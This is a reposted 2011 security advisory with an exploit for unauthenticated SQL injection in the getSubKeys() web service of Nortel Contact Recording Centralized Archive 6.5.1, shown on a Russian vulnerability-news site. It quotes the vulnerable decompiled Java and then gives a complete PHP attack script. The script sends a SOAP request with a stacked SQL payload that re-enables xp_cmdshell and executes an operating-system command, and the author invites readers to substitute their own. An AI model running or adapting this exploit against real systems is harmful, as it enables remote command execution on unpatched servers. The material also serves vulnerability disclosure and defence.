Информационная безопасность
[RU] switch to English

Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  [Onapsis Security Advisory 2011-016] SAP WebAS Malicious SAP Shortcut Generation

  [Onapsis Security Advisory 2011-015] SAP WebAS webrfc Cross-Site Scripting

  [Onapsis Security Advisory 2011-014] SAP WebAS Remote Denial of Service

  [DSECRG-11-033] SAP Crystal Report Server pubDBLogon - Linked ХSS vulnerability (by ERPScan)

From:rgod <nospam_(at)_gmail.it>
Date:20 сентября 2011 г.
Subject:Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration getSubKeys() Remote SQL Injection Exploit

Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration
Web Service getSubKeys() Remote SQL Injection Exploit

tested against:
Microsoft Windows Server 2003 r2 sp2
Microsoft SQL Server 2005 Express

download uri:


This software installs a Tomcat http server which listens on
port 8080 for incoming connections. It exposes the
following servlet as declared inside
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :


at the following url:



without prior authentication, you can reach a web service
with various methods availiable, as described inside
the associated wsdl, see file:

c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-

among them, the getSubKeys() method.

Now look at getSubKeys() inside the decompiled
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-

public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)
       throws RemoteException
       StringBuffer xml;
       ConfigOwnerId configOwnerId;
       Connection conn;
       PreparedStatement pStmt;
       ResultSet rs;
       PreparedStatement pStmt2;
       ResultSet rs2;
       log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());
       xml = new StringBuffer("<ConfigurationNodeList>");
       configOwnerId = null;
       conn = null;
       pStmt = null;
       rs = null;
       pStmt2 = null;
       rs2 = null;
           conn = SiteDatabase.getInstance().getConnection();
getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))
               if(componentId.compareToIgnoreCase("") == 0)
                   componentId = "*";
               if(systemId.compareToIgnoreCase("") == 0)
                   systemId = "*";
               if(sysCompId.compareToIgnoreCase("") == 0)
                   sysCompId = "*";
               if(userName.compareToIgnoreCase("") == 0)
                   userName = "*";
               pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").
               rs = pStmt.executeQuery();
           } else
               pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).
append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).
append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).
append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).
               rs = pStmt.executeQuery();
               String strConfigOwnerId = rs.getString(1);
                   configOwnerId = new ConfigOwnerId(strConfigOwnerId);
               pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).
               for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));
       catch(SQLException e)
           String msg = "Unable to get subkeys";
           log.error(msg, e);
           throw new RemoteException(msg, e);
       catch(GenericDatabaseException e)
           String msg = "Unable to get subkeys";
           log.error(msg, e);
           throw new RemoteException(msg, e);
       DbHelper.closeStatement(log, pStmt);
       DbHelper.closeResultSet(log, rs);
       DbHelper.closeStatement(log, pStmt2);
       DbHelper.closeResultSet(log, rs2);
       DbHelper.closeConnection(log, conn);
       break MISSING_BLOCK_LABEL_646;
       Exception exception;
       DbHelper.closeStatement(log, pStmt);
       DbHelper.closeResultSet(log, rs);
       DbHelper.closeStatement(log, pStmt2);
       DbHelper.closeResultSet(log, rs2);
       DbHelper.closeConnection(log, conn);
       throw exception;
       log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());
       return xml.toString();

This function uses unproperly the prepareStatement() function, a SELECT query is concatenated
inside of it and using user supplied values.

Note also that the unpunctuate() function is unuseful to clean the passed values:

protected String unpunctuate(String id)
       StringBuffer sb = new StringBuffer(id);
           if(sb.charAt(0) == '{')
       catch(StringIndexOutOfBoundsException e) { }
           if(sb.charAt(36) == '}')
       catch(StringIndexOutOfBoundsException e) { }
       return sb.toString();

As result, a remote attacker can send a SOAP message against port 8080 containing the
getSubKeys string to execute arbitrary sql commands against the
underlying database.

The following code tries to execute calc.exe (if the xp_cmdshell stored procedure
is not enabled, it will try to reenable it via 'sp_configure', assuming you have
the privileges of the 'sa' user), otherwise use your imagination.

Note: Reportedly, this product is end of sale ... so it's better you are aware of
it just in case you have an online installation exposed to user input :)

   error_reporting(E_ALL ^ E_NOTICE);     
       $err[0] = "[!] This script is intended to be launched from the cli!";
   $err[1] = "[!] You need the curl extesion loaded!";

   if (php_sapi_name() <> "cli") {
       function syntax() {
      print("usage: php 9sg_nortel.php [ip_address]\r\n" );
       $argv[1] ? print("[*] Attacking...\n") :
       if (!extension_loaded('curl')) {
       $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
       if ($win) {
           !dl("php_curl.dll") ? die($err[1]) :
            print("[*] curl loaded\n");
       } else {
           !dl("php_curl.so") ? die($err[1]) :
            print("[*] curl loaded\n");
   function _s($url, $is_post, $ck, $request) {
       global $_use_proxy, $proxy_host, $proxy_port;
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $url);
       if ($is_post) {
           curl_setopt($ch, CURLOPT_POST, 1);
           curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
       curl_setopt($ch, CURLOPT_HEADER, 1);
       curl_setopt($ch, CURLOPT_HTTPHEADER, array(
           "Cookie: ".$ck ,
           "Content-Type: text/xml"

       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_USERAGENT, "");
       curl_setopt($ch, CURLOPT_TIMEOUT, 0);
       if ($_use_proxy) {
           curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
       $_d = curl_exec($ch);
       if (curl_errno($ch)) {
           //die("[!] ".curl_error($ch)."\n");
       } else {
       return $_d;
         $host = $argv[1];
         $port = 8080;

print("[*] Check for spawned calc.exe sub process.\n");
$sql="'; ".
    "EXEC sp_configure 'show advanced options',1;RECONFIGURE;".
    "EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".
    "EXEC xp_cmdshell 'calc';--";
$soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl">
     <wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <boolean_1 xsi:type="xsd:boolean">true</boolean_1>
        <boolean_2 xsi:type="xsd:boolean">true</boolean_2>
        <String_3 xsi:type="xsd:string">'.$sql.'</String_3>
        <String_4 xsi:type="xsd:string">yyyy</String_4>
        <String_5 xsi:type="xsd:string">zzzz</String_5>
        <String_6 xsi:type="xsd:string">kkkk</String_6>
$url = "http://$host:
$out = _s($url, 1, "", $soap);
print("[*] Done.");

original url: http://retrogod.altervista.org/9sg_nortel.html

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород